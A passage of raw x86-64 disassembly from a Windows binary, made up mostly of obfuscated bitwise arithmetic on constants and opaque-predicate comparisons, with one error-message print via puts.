and r9d, 0x51002892
and edi, 0x80ca0008
or edi, r9d
mov edx, r8d
or edx, 0xd1ca289a
and ebx, 0x8e89bc9d
and r10d, 0x51420002
or r10d, ebx
mov eax, edx
not eax
and edx, 0x8e89bc9d
and eax, 0x20344360
or eax, edx
xor edi, 0x80ca0008
xor eax, r10d
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, eax
not edx
and edx, 0x908d1e25
and eax, 0x6f72e1da
or eax, edx
mov edx, ecx
not edx
and edx, 0x908d1e25
and ecx, 0x6f72e1da
or ecx, edx
xor ecx, eax
mov eax, ecx
and ecx, esi
mov edx, dword [0x1400968b0]
not eax
and r8d, eax
or ecx, r8d
xor eax, ecx
test eax, ecx
sete r8b
setne r11b
cmp edx, 9
setg r10b
cmp edx, 0xa
setl cl
mov r9d, ecx
xor r9b, r11b
xor r9b, 1
or r9b, r8b
mov eax, r11d
and al, r10b
mov ebx, ecx
and bl, r8b
or bl, al
xor bl, 1
or bl, r10b
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
xor al, 1
mov esi, edx
xor sil, al
or al, dl
mov edx, r9d
xor dl, 1
xor al, 1
or al, sil
and dl, al
xor al, 1
and al, r9b
or al, dl
mov edx, r9d
and dl, bl
xor bl, r9b
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov r9d, ebx
xor r9b, 1
mov eax, ecx
or al, bl
or r9b, r10b
mov edx, r9d
xor dl, al
or r9b, al
xor r9b, 1
or r9b, dl
xor r9b, 1
xor bl, r9b
xor r9b, bl
and r9b, bl
mov eax, r10d
or al, r8b
mov edx, eax
xor dl, 1
or cl, r11b
or al, cl
xor cl, 1
mov ebx, edx
xor bl, cl
xor al, 1
or al, bl
xor r11b, al
xor r11b, 1
or al, r8b
xor al, 1
or al, r11b
and cl, dl
or cl, bl
xor cl, 1
mov edx, ecx
and dl, r10b
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
mov r8d, eax
or dl, al
xor al, 1
and bl, cl
xor r8b, cl
or r8b, bl
or cl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ebx, edx
and dl, r8b
xor r8b, 1
xor bl, 1
mov eax, r8d
xor al, bl
and al, r8b
and bl, r8b
or bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r8d, r9d
xor r8b, 1
mov r10d, ebx
xor r10b, 1
mov edx, ebx
and dl, r10b
mov eax, ebx
and al, dl
mov ecx, ebx
xor cl, dl
or cl, al
mov eax, ecx
and al, r8b
xor cl, 1
and cl, r9b
or cl, al
mov r11d, r9d
mov edi, r9d
and dil, r8b
mov esi, edi
xor sil, 1
or sil, r9b
and r9b, bl
xor r11b, bl
or r11b, r9b
mov eax, r11d
xor al, cl
xor cl, 1
or cl, r11b
xor al, 1
xor cl, 1
or cl, al
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
or r10b, bl
xor r10b, dl
xor dil, r8b
xor sil, 1
or sil, dil
and dl, r10b
mov eax, r10d
xor al, dl
xor dl, 1
xor al, 1
or dl, r10b
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, edx
and al, r8b
mov ebx, eax
xor al, dl
xor bl, 1
or bl, r8b
mov r8d, ecx
xor r8b, 1
xor bl, 1
or bl, al
mov eax, esi
xor al, 1
and al, bl
xor bl, 1
and bl, sil
or bl, al
mov eax, r8d
and al, bl
xor bl, 1
mov edx, ebx
and dl, cl
or dl, al
xor dl, 1
or dl, cl
mov eax, ecx
and al, r8b
xor cl, al
xor al, 1
or al, r8b
xor al, 1
or al, cl
xor al, bl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0xa4cc2aba
mov ecx, 0x4de7e02f
cmovne eax, ecx
test bl, 1
mov ebx, 0xa4cc2aba
cmove eax, ebx
test dl, 1
jmp 0x14001bd9e
mov eax, 0x6856a8c0
mov dword [rbp - 0x50], 0xfffffffe
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
sub rsp, 0x20
lea rcx, str.____Oh_gosh__something_went_wrong_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov eax, dword [0x1400968b4]
lea ecx, [rax - 1]
imul ecx, eax
mov r11d, ecx
mov edx, ecx
not r11d
mov eax, r11d
and eax, 0x437e4866
mov ecx, r11d
and ecx, edx
mov ebx, edx
mov dword [rbp - 0x3c], edx
mov r8d, edx
mov r13d, edx
and edx, 0xbc81b799
or edx, eax
xor edx, 0xbc81b799
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb5931685
and ecx, 0x4a6ce97a
or ecx, eax
mov eax, ecx
xor eax, 0x8600122
xor ecx, 0x90000400
and ecx, 0x90044400
and eax, 0x9e01122
or eax, ecx
mov ecx, eax
xor ecx, 0x9e01122
xor eax, 0x461dc800
mov edx, r11d
and edx, 0x99e45522
and ebx, 0x661baadd
or ebx, edx
not ebx
or ebx, r11d
mov edx, ebx
not edx
mov esi, ecx
xor esi, ebx
and esi, ecx
and eax, 0x475dd900
and ecx, 0x98a00422
or ecx, eax
and ebx, 0x475dd900
and edx, 0xb8a226ff
or edx, ebx
xor edx, ecx
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xc0b64a13
and ecx, edx
not edx
and edx, 0x40a20810
and eax, 0x80144203
or eax, edx
mov edx, eax
xor edx, 0x80104202
xor eax, 0x7febbdfc
mov ebx, ecx
not ebx
mov esi, eax
and esi, 0x574eaded
and edx, 0x80b04212
or edx, esi
or eax, ebx
and ebx, 0x574eaded
and ecx, 0xa8b15212
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2b8076a3
and eax, 0xd47f895c
or eax, ecx
mov ecx, eax
xor ecx, 0x8d2d966d
xor eax, 0x72d26992
mov edx, eax
and edx, 0xcc34b76a
and eax, ecx
and ecx, 0x33cb4895
or ecx, edx
xor ecx, 0x33cb4895
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
or edx, 0xe829eb82
mov ebx, edx
not ebx
and eax, 0xc54208a2
and ecx, 0x3abdf75d
or ecx, eax
mov eax, ecx
xor eax, 0x1094048e
xor ecx, 0x2d6be320
mov esi, edx
and esi, 0xe2619a71
and ebx, 0x1596040c
or ebx, esi
or edx, ecx
and ecx, 0xe2619a71
and eax, 0x1d9e658e
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x82a4c9b5
and ecx, edx
not edx
and edx, 0x296ae74c
and eax, 0xd69518b3
or eax, edx
mov edx, eax
xor edx, 0x82800811
xor eax, 0x20c104
or eax, 0x7d5b364a
mov ebx, ecx
not ebx
mov esi, eax
and esi, 0x3437d4aa
and edx, 0x82800915
or edx, esi
or eax, ebx
and ebx, 0x3437d4aa
and ecx, 0xcbc82b55
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7d5b364a
and eax, 0x82a4c9b5
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2e6b172a
and eax, 0xd194e8d5
or eax, ecx
mov ebx, eax
xor ebx, 0xd194e8d5
xor eax, 0x2e6b172a
or r8d, 0x17d6147d
mov ecx, r8d
not ecx
mov esi, r11d
or esi, 0xe829eb82
mov edx, esi
not edx
and r8d, 0x61c70239
and ecx, 0x8828e982
or ecx, r8d
and esi, 0x61c70239
and edx, 0x16101444
or edx, esi
xor edx, ecx
mov ecx, r11d
and ecx, 0xe02326f8
and r13d, 0x1fdcd907
or r13d, ecx
mov ecx, r13d
xor ecx, 0x1fdcd907
xor r13d, 0xe02326f8
and r13d, edx
not edx
and ecx, edx
or r13d, ecx
not r13d
or r13d, edx
mov r14d, r13d
not r14d
mov edx, ebx
and edx, 0x235932f4
mov edi, eax
and edi, 0xdca6cd0b
or edi, edx
xor edi, 0xdca6cd0b
mov r12d, ebx
and r12d, eax
mov edx, edi
and edx, r12d
xor r12d, edi
or r12d, edx
mov edx, r13d
and edx, 0x38141a00
mov ecx, r14d
and ecx, 0x80084187
or ecx, edx
xor ecx, 0x80084187
mov edi, r14d
and edi, 0x47e3a478
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x47e3a478
and edi, 0xb81c5b87
or edi, ecx
mov r9d, r12d
not r9d
mov ecx, r9d
and ecx, 0x43944560
mov edx, r12d
and edx, 0xbc6bba9f
or edx, ecx
mov ecx, edx
xor ecx, 0xbc6bba9f
xor edx, 0x41000100
and edx, 0x4d0a2986
mov esi, ecx
and esi, 0xb2f5d679
or esi, edx
xor esi, 0x65bd780e
and ecx, 0x28b75188
or ecx, esi
mov edx, ecx
not edx
and edx, 0x28c97573
and ecx, 0xd7368a8c
or ecx, edx
mov edx, ecx
xor edx, 0x2108a0c
mov esi, ebx
and esi, 0xd748ae77
and eax, 0x28b75188
or eax, esi
xor ebx, eax
and ebx, eax
mov r10d, edi
not r10d
mov eax, r10d
and eax, 0x1696dd10
mov esi, edi
and esi, 0xe96922ef
or esi, eax
xor esi, 0xc1de7367
or esi, r10d
mov eax, r13d
and eax, 0xd748ae77
and r14d, 0x28b75188
or r14d, eax
mov r15d, esi
not r15d
xor r13d, r14d
and r13d, r14d
xor ecx, 0x28c97573
mov eax, ecx
and ecx, 0xfde745f3
and edx, 0x218ba0c
or edx, ecx
mov ecx, ebx
not ecx
or eax, ecx
not eax
and ecx, 0xfde745f3
and ebx, 0x218ba0c
or ebx, ecx
xor ebx, edx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, esi
and eax, 0xa94b0479
xor esi, 0xb34084c4
and esi, r15d
mov ecx, r15d
and ecx, 0x56b4fb86
or ecx, eax
mov r14d, ecx
xor r14d, 0x56b4fb86
mov eax, ecx
xor eax, 0xe5f47f42
and eax, r14d
mov edx, eax
and edx, esi
xor esi, eax
mov r15d, r13d
not r15d
or esi, edx
mov edx, r15d
and edx, 0x4cbf7b3b
mov r8d, r13d
xor r8d, 0x4cbf7b3b
and r8d, r13d
mov eax, edx
and eax, r8d
xor r8d, edx
or r8d, eax
mov eax, esi
not eax
and eax, 0x7b64ab5e
and esi, 0x849b54a1
or esi, eax
mov eax, r8d
not eax
and eax, 0x7b64ab5e
and r8d, 0x849b54a1
or r8d, eax
xor r8d, esi
xor ecx, 0xa94b0479
mov eax, ecx
and eax, 0x59ebcd27
and r14d, 0xa61432d8
or r14d, eax
mov esi, r11d
mov edx, dword [rbp - 0x3c]
or r11d, edx
or ecx, r13d
and r13d, 0x59ebcd27
and r15d, 0xa61432d8
or r15d, r13d
xor r15d, r14d
not ecx
or ecx, r15d
mov eax, ecx
not eax
and eax, 0xd9c74dcb
and ecx, 0x2638b234
or ecx, eax
xor ecx, 0x2638b234
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov eax, ebx
not eax
and eax, 0xb3b0518d
and ebx, 0x4c4fae72
or ebx, eax
mov eax, ecx
mov r8d, ecx
xor r8d, 0xb3b0518d
and r8d, ecx
not ecx
and ecx, 0x4b52d0
and eax, 0xffb4ad2f
or eax, ecx
mov ecx, eax
xor ecx, 0xffb4ad2f
xor eax, 0xb3fb035d
and eax, ecx
mov ecx, eax
not ecx
mov r14d, r8d
not r14d
mov r15d, ecx
and r15d, 0x12fd72e5
and eax, 0xed028d1a
or eax, r15d
or ecx, r14d
and r14d, 0x12fd72e5
and r8d, 0xed028d1a
or r8d, r14d
xor r8d, eax
not ecx
or ecx, r8d
mov eax, ebx
not eax
and eax, 0xb5c9dabe
and ebx, 0x4a362541
or ebx, eax
mov eax, ecx
not eax
and eax, 0xb5c9dabe
and ecx, 0x4a362541
or ecx, eax
xor ecx, ebx
mov eax, r9d
or eax, r10d
not eax
and r9d, 0xcd2b062b
and r12d, 0x32d4f9d4
or r12d, r9d
and r10d, 0xcd2b062b
and edi, 0x32d4f9d4
or edi, r10d
xor edi, r12d
mov ebx, eax
and ebx, edi
xor edi, eax
or edi, ebx
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x46a1f1da
and eax, edi
and edi, 0xb95e0e25
or edi, ebx
mov ebx, edi
xor ebx, 0xb0480e25
xor edi, 0x46a1f1da
mov r8d, eax
not r8d
mov r9d, edi
and r9d, 0xdb6a040
and ebx, 0xf2495fbf
or ebx, r9d
or edi, r8d
and r8d, 0xdb6a040
and eax, 0xf2495fbf
or eax, r8d
xor eax, ebx
not edi
or edi, eax
mov ebx, edi
not ebx
and edi, 0x3e557965
and ebx, 0xc1aa869a
or ebx, edi
mov eax, ebx
xor eax, 0x3e557965
xor ebx, 0xc1aa869a
mov edi, ecx
xor edi, eax
and edi, ecx
and eax, ecx
not ecx
and ecx, ebx
or eax, ecx
mov ecx, edi
not ecx
mov ebx, eax
not ebx
mov r8d, ecx
and r8d, 0x59438e05
and edi, 0xa6bc71fa
or edi, r8d
or ecx, ebx
and ebx, 0x59438e05
and eax, 0xa6bc71fa
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov r8d, ecx
not r8d
mov edi, r8d
and edi, 0x6e6e1a21
mov eax, ecx
and eax, 0x9191e5de
or eax, edi
mov edi, eax
xor edi, 0x80112188
xor eax, 0x24c0a21
and eax, 0x13ccce77
and edi, 0xec333188
or edi, eax
mov eax, edi
xor eax, 0x40113180
and eax, 0x5391fb94
xor edi, 0xbfa2ca1c
or edi, eax
mov ebx, edi
not ebx
mov eax, r8d
and eax, 0xbe15a653
and ecx, 0x41ea59ac
or ecx, eax
xor ecx, 0x127ba238
xor r8d, ecx
and r8d, ecx
mov eax, edi
and eax, 0x77dbe6a5
and ebx, 0x8824195a
or ebx, eax
mov r9d, ebx
xor r9d, 0x8824195a
mov eax, r8d
not eax
xor ebx, 0x24c18080
or ebx, 0xdb1e7627
mov r10d, ebx
not r10d
or edi, 0x24e189d8
mov ecx, edi
not ecx
xor r8d, 0x24e189d8
and r8d, eax
mov r14d, eax
or r14d, 0x24e189d8
mov r15d, r14d
not r15d
and ebx, 0x86e1a31d
and r10d, 0x200008c0
or r10d, ebx
and edi, 0x86e1a31d
and ecx, 0x591e5422
or ecx, edi
xor ecx, r10d
mov edi, r8d
not edi
mov ebx, edi
and ebx, 0xf0e7d497
and r8d, 0xf182b68
or r8d, ebx
or edi, r14d
and r14d, 0xf0e7d497
and r15d, 0xb182220
or r15d, r14d
xor r15d, r8d
not edi
or edi, r15d
mov ebx, ecx
not ebx
and ebx, 0xe3476b23
and ecx, 0x1cb894dc
or ecx, ebx
mov ebx, edi
not ebx
and ebx, 0xe3476b23
and edi, 0x1cb894dc
or edi, ebx
xor edi, ecx
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x4ead2979
and eax, 0xb152d686
or eax, ecx
mov ecx, eax
xor ecx, 0x21420404
mov ebx, edi
not ebx
xor eax, 0x4ead2979
mov r8d, ebx
and r8d, 0x921df3d3
and edi, 0x6de20c2c
or edi, r8d
or ebx, eax
and eax, 0x921df3d3
and ecx, 0x6de20c2c
or ecx, eax
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x80040155
and ebx, 0x38a3a822
or ebx, ecx
mov edi, ebx
xor edi, 0x10802002
xor ebx, 0x84184114
or eax, 0xb8a7a977
mov ecx, eax
not ecx
and ebx, 0xac3bc934
and edi, 0x10842043
or edi, ebx
and eax, 0xac3bc934
and ecx, 0x43401688
or ecx, eax
xor ecx, edi
mov eax, ecx
not eax
and eax, 0x31fb960
and ecx, 0xfce0469f
or ecx, eax
mov eax, ecx
not eax
mov ebx, ecx
mov edi, eax
and edi, 0x60a997f7
and ecx, 0x9f566808
or ecx, edi
xor ecx, 0x60a997f7
or ecx, eax
and eax, 0x6ef4746
and ebx, 0xf910b8b9
or ebx, eax
mov eax, ebx
xor eax, 0xe8000031
xor ebx, 0xc44544
and eax, 0xee2b0233
and ebx, 0x11d4fdcc
or ebx, eax
mov r8d, ebx
xor r8d, 0xee2b0233
mov eax, ebx
xor eax, 0x11d4fdcc
mov r10d, ecx
not r10d
mov r9d, r8d
and r9d, 0x8721e84d
xor ebx, 0x96f51581
and ebx, eax
mov edi, r10d
or edi, 0x78de17b2
mov r14d, edi
not r14d
mov r15d, ecx
xor r15d, 0x78de17b2
and r15d, r10d
mov r12d, r9d
and r12d, ebx
xor ebx, r9d
or ebx, r12d
mov r9d, r15d
not r9d
mov r12d, edi
and r12d, 0x968ee737
and r14d, 0x1210848
or r14d, r12d
or edi, r9d
and r9d, 0x968ee737
and r15d, 0x697118c8
or r15d, r9d
xor r15d, r14d
not edi
or edi, r15d
mov r9d, ebx
not r9d
and r9d, edi
not edi
and edi, ebx
or edi, r9d
mov ebx, eax
and ebx, 0x6a67b669
and r8d, 0x95984996
or r8d, ebx
or eax, r10d
and r10d, 0x6a67b669
and ecx, 0x95984996
or ecx, r10d
xor ecx, r8d
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x736599a4
and eax, 0x8c9a665b
or eax, ecx
xor eax, 0x8c9a665b
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
and edx, 0x643b3d66
and esi, 0x9bc4c299
or esi, edx
mov ecx, esi
xor ecx, 0x20012902
xor esi, 0x9bc4c299
mov r13d, r11d
not r13d
mov edx, esi
or edx, r11d
not edx
and esi, 0x5c3a166d
and ecx, 0xa3c5e992
or ecx, esi
and r11d, 0x5c3a166d
and r13d, 0xa3c5e992
or r13d, r11d
xor r13d, ecx
mov ecx, edx
and ecx, r13d
xor r13d, edx
or r13d, ecx
mov r8d, eax
not r8d
mov ecx, r8d
and ecx, 0xe2747e88
mov edx, eax
and edx, 0x1d8b8177
or edx, ecx
xor edx, 0x1d8b8177
mov ebx, r8d
and ebx, eax
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov r9d, r13d
not r9d
mov ecx, r9d
and ecx, r13d
mov edx, ecx
not edx
mov edi, r13d
and edi, 0xacc1176e
mov esi, r9d
and esi, 0x533ee891
or esi, edi
mov r12d, r13d
or r12d, edx
and edx, 0xacc1176e
and ecx, 0x533ee891
or ecx, edx
xor ecx, esi
not r12d
or r12d, ecx
mov r10d, ebx
not r10d
mov r11d, r10d
and r11d, 0x53a05807
mov edx, r12d
not edx
mov r15d, r12d
mov ecx, edx
mov r14d, edx
and r12d, r10d
or r10d, edx
and edx, ebx
and ebx, 0xac5fa7f8
or ebx, r11d
mov esi, ebx
xor esi, 0xac5fa7f8
xor ebx, 0x50a00003
and ebx, 0xd4bf02ab
mov edi, esi
and edi, 0x2b40fd54
or edi, ebx
xor edi, 0x2219059
and esi, 0xd69e92f2
or esi, edi
mov ebx, esi
not ebx
and ebx, 0x8e024792
and esi, 0x71fdb86d
or esi, ebx
mov ebx, esi
mov r11d, esi
xor r11d, 0x8e024792
and r8d, 0xbf8dc819
and eax, 0x407237e6
or eax, r8d
mov edi, eax
xor edi, 0x602504
and edi, 0x29616d0d
xor eax, 0x69135aeb
or eax, edi
mov r8d, eax
not r8d
and r15d, 0xcac19f93
and ecx, 0x353e606c
or ecx, r15d
xor ecx, 0x1c5f0d61
and r14d, 0xd69e92f2
or r14d, ecx
and r9d, 0x6dae7956
and r13d, 0x925186a9
or r13d, r9d
mov ecx, r13d
xor ecx, 0x925186a9
xor r13d, 0x64266844
and r13d, 0xe4376e4d
mov edi, ecx
and edi, 0x1bc891b2
or edi, r13d
xor edi, 0xcd560340
and ecx, 0x29616d0d
or ecx, edi
mov r9d, eax
and r9d, 0xcb2f8709
xor eax, 0x24906edb
and eax, r8d
mov r15d, r8d
and r15d, 0x34d078f6
or r15d, r9d
xor esi, 0xaa922949
and esi, r11d
mov r8d, r11d
or r8d, 0xdb6f9124
mov edi, esi
not edi
mov r9d, edi
and r9d, 0xb5b9c403
and esi, 0x4a463bfc
or esi, r9d
mov r9d, r8d
not r9d
or edi, r8d
and r8d, 0xb5b9c403
and r9d, 0x2ad8
or r9d, r8d
mov r13d, r15d
xor r13d, 0x34d078f6
xor r9d, esi
mov esi, r13d
and esi, 0xdb6f9124
not edi
or edi, r9d
mov r8d, esi
and r8d, eax
xor eax, esi
or eax, r8d
mov esi, edi
not esi
and esi, 0xaee645c3
and edi, 0x5119ba3c
or edi, esi
mov esi, eax
not esi
and esi, 0xaee645c3
and eax, 0x5119ba3c
or eax, esi
mov r8d, dword [0x1400968b0]
xor ebx, 0x71fdb86d
xor eax, edi
mov edi, ebx
and edi, 0xf622b7a0
and r11d, 0x9dd485f
or r11d, edi
mov edi, ecx
not edi
xor r15d, 0xcb2f8709
or ebx, r15d
and r15d, 0xf622b7a0
and r13d, 0x9dd485f
or r13d, r15d
xor r13d, r11d
not ebx
or ebx, r13d
not ebx
mov r9d, eax
and r9d, ebx
xor ebx, eax
mov eax, ecx
and eax, 0x4b7d5d3c
xor ecx, 0x321bbdda
and ecx, edi
and edi, 0xb482a2c3
or edi, eax
xor edi, 0xb482a2c3
mov eax, r14d
mov esi, edi
mov r11d, r14d
and r11d, edi
xor edi, r14d
not r14d
or ebx, r9d
and eax, 0xcde44225
and r14d, 0x321bbdda
or r14d, eax
and esi, 0xcde44225
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, r14d
not eax
and eax, ecx
not ecx
and ecx, r14d
or ecx, eax
or edi, r11d
not edi
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov ecx, ebx
not ecx
and ecx, 0xd93b9f2
mov eax, ebx
and eax, 0xf26c460d
or eax, ecx
not edi
xor eax, 0xd93b9f2
or eax, edi
mov ecx, eax
not ecx
xor edi, ebx
not edi
and edi, ebx
mov ebx, edi
not ebx
mov esi, eax
and esi, 0xc5aca98b
and ecx, 0x3a535674
or ecx, esi
or eax, ebx
and ebx, 0xc5aca98b
and edi, 0x3a535674
or edi, ebx
xor edi, ecx
not eax
or eax, edi
not r10d
or edx, r12d
mov ecx, r10d
and ecx, edx
xor edx, r10d
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x3d8908b
and ebx, 0xfc276f74
or ebx, esi
or edx, edi
and edi, 0x3d8908b
and ecx, 0xfc276f74
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x640d6d0f
and edx, 0x9bf292f0
or edx, ecx
mov ecx, edx
xor ecx, 0x9ad010a0
xor edx, 0x2001400c
and edx, 0x2123c25c
and ecx, 0xdedc3da3
or ecx, edx
mov edx, ecx
xor edx, 0xdedc3da3
xor ecx, 0x2123c25c
mov ebx, eax
xor ebx, ecx
and ebx, eax
and ecx, eax
not eax
and eax, edx
or ecx, eax
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x50026041
mov ebx, ecx
and ebx, 0xa2e18f38
or ebx, eax
xor ebx, 0xa2e18f38
mov edi, ecx
and edi, 0xd1c1086
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0x5081080
and edi, 0xb022c050
or edi, ebx
mov r9d, edi
not r9d
and edx, 0x6564b14a
and ecx, 0x9a9b4eb5
or ecx, edx
mov ebx, ecx
xor ebx, 0x9a9b4eb5
xor ecx, 0x41248040
and ecx, 0x4bafc474
mov edx, ebx
and edx, 0xb4503b8b
or edx, ecx
xor edx, 0xfe8514a4
and ebx, 0xb52ad0d0
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x64591e14
and ebx, 0x9ba6e1eb
or ebx, ecx
mov r11d, ebx
xor r11d, 0x226c001
xor ebx, 0x64591e14
mov ecx, ebx
and ecx, 0xf9c939ea
and r11d, 0x636c615
or r11d, ecx
mov r10d, r11d
xor r10d, 0x10c010
mov ecx, edi
or ecx, 0xa4c1a7af
mov esi, ecx
not esi
mov eax, edi
xor eax, 0x112a5050
and eax, edi
xor r11d, 0xf9c939ea
mov r14d, r11d
or r14d, 0xa4c1a7af
mov r15d, r14d
not r15d
or ebx, 0x5b3e5850
mov edx, ecx
and edx, 0xa04902d4
and esi, 0x5b265800
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xa05902d4
and eax, 0x1522d000
or eax, edx
mov edx, ebx
not edx
xor eax, esi
not ecx
or ecx, eax
and r14d, 0xda721f9b
and r15d, 0x10c4040
or r15d, r14d
and ebx, 0xda721f9b
and edx, 0x2481a024
or edx, ebx
xor edx, r15d
mov eax, ecx
not eax
and eax, edx
not edx
and edx, ecx
or edx, eax
mov eax, edi
and eax, 0x942a0080
and r9d, 0x2951f972
or r9d, eax
or edi, r11d
and r11d, 0xd6ae068d
and r10d, 0x2951f972
or r10d, r11d
xor r10d, r9d
not edi
or edi, r10d
mov eax, edi
not eax
and eax, 0x47c5cfdd
and edi, 0xb83a3022
or edi, eax
mov eax, edi
xor eax, 0x983a3022
xor edi, 0x47c5cfdd
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x2301429c
and edx, 0xdcfebd63
or edx, ebx
or ecx, edi
and edi, 0x2301429c
and eax, 0xdcfebd63
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x4ad52f2f
and edx, ecx
not ecx
and ecx, 0x42c40620
and eax, 0x811290f
or eax, ecx
xor eax, 0x811290f
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xe8ca907b
mov ebx, edx
and ebx, 0x17356f84
or ebx, ecx
and edx, 0xe8ca907b
mov ecx, eax
and ecx, 0x17356f84
or ecx, edx
xor ecx, ebx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne r14b
mov byte [rbp - 0x40], r14b
cmp r8d, 0xa
setl sil
cmp r8d, 9
setg r10b
mov r8d, r10d
xor r8b, sil
mov r12d, r8d
xor r12b, 1
and r10b, r8b
mov edx, r10d
xor dl, 1
mov eax, edx
and al, r10b
mov r11d, edx
and r11b, al
xor al, dl
or al, r11b
xor al, 1
or dl, r10b
xor dl, 1
mov r11d, eax
and r11b, dl
xor dl, al
or dl, r11b
mov eax, r12d
xor al, dl
mov ecx, eax
and cl, r12b
and al, dl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, esi
xor cl, r12b
and cl, sil
and sil, r12b
or sil, r10b
xor cl, 1
xor sil, 1
mov edx, ecx
xor dl, sil
or sil, cl
xor sil, 1
or sil, dl
mov r10d, esi
xor r10b, 1
mov r11d, eax
xor r11b, 1
mov ecx, eax
and cl, r11b
mov edx, r10d
and dl, sil
mov edi, ecx
and dil, al
xor cl, al
or cl, dil
mov ebx, edx
xor bl, 1
xor dl, r10b
or bl, sil
xor bl, 1
or bl, dl
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
and bl, cl
or bl, al
mov eax, r11d
and al, sil
xor r11b, sil
or r11b, al
xor bl, 1
mov eax, ebx
xor al, r11b
or bl, r11b
xor bl, 1
or bl, al
mov edi, r14d
xor dil, r9b
mov eax, edi
xor al, 1
mov ecx, r9d
xor cl, al
xor cl, 1
or cl, r9b
mov edx, edi
and dl, al
mov r10d, edi
xor r10b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r10b
xor dl, r9b
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov r9d, ecx
xor r9b, al
and r9b, cl
and al, cl
or al, dl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
mov byte [rbp - 0x3c], bl
mov eax, ebx
xor al, 1
mov byte [rbp - 0x48], al
mov r13d, eax
and r13b, bl
mov ebx, eax
and bl, r13b
xor al, r13b
mov byte [rbp - 0x33], al
or bl, al
mov byte [rbp - 0x41], bl
mov r11d, ebx
xor r11b, 1
mov byte [rbp - 0x34], r11b
and r11b, bl
mov edx, r11d
and dl, bl
xor r11b, bl
or r11b, dl
mov r14d, r11d
xor r14b, 1
mov edx, r11d
and dl, r14b
mov r9d, r14d
xor r9b, dl
mov esi, edx
xor sil, 1
mov r10d, r11d
or r10b, sil
xor r10b, 1
or r10b, r9b
xor dl, r11b
or sil, r14b
xor sil, 1
or sil, dl
mov r9d, r10d
xor r9b, 1
mov r15d, r10d
or r15b, r9b
mov edx, r15d
xor dl, 1
mov eax, esi
and al, r15b
xor sil, 1
and sil, dl
or sil, al
xor r15b, r14b
or dl, r11b
xor dl, 1
or dl, r15b
xor dl, 1
mov eax, esi
and al, dl
xor dl, sil
or dl, al
mov r11d, edx
xor r11b, 1
mov eax, r9d
and al, r10b
xor r9b, r10b
or r9b, al
mov r10d, r9d
xor r10b, 1
and dl, r11b
mov eax, r11d
and al, dl
xor dl, r11b
or dl, al
mov eax, r9d
and al, r10b
mov esi, r9d
xor sil, al
xor al, 1
or al, r10b
xor al, 1
or al, sil
xor al, dl
xor al, 1
mov edx, r11d
and dl, r9b
xor r9b, r11b
or r9b, dl
mov edx, eax
xor dl, r9b
or r9b, al
xor r9b, 1
or r9b, dl
mov eax, r9d
xor al, 1
and al, r9b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
mov r15d, eax
xor r15b, 1
and r15b, al
mov edx, r15d
and dl, al
xor r15b, al
or r15b, dl
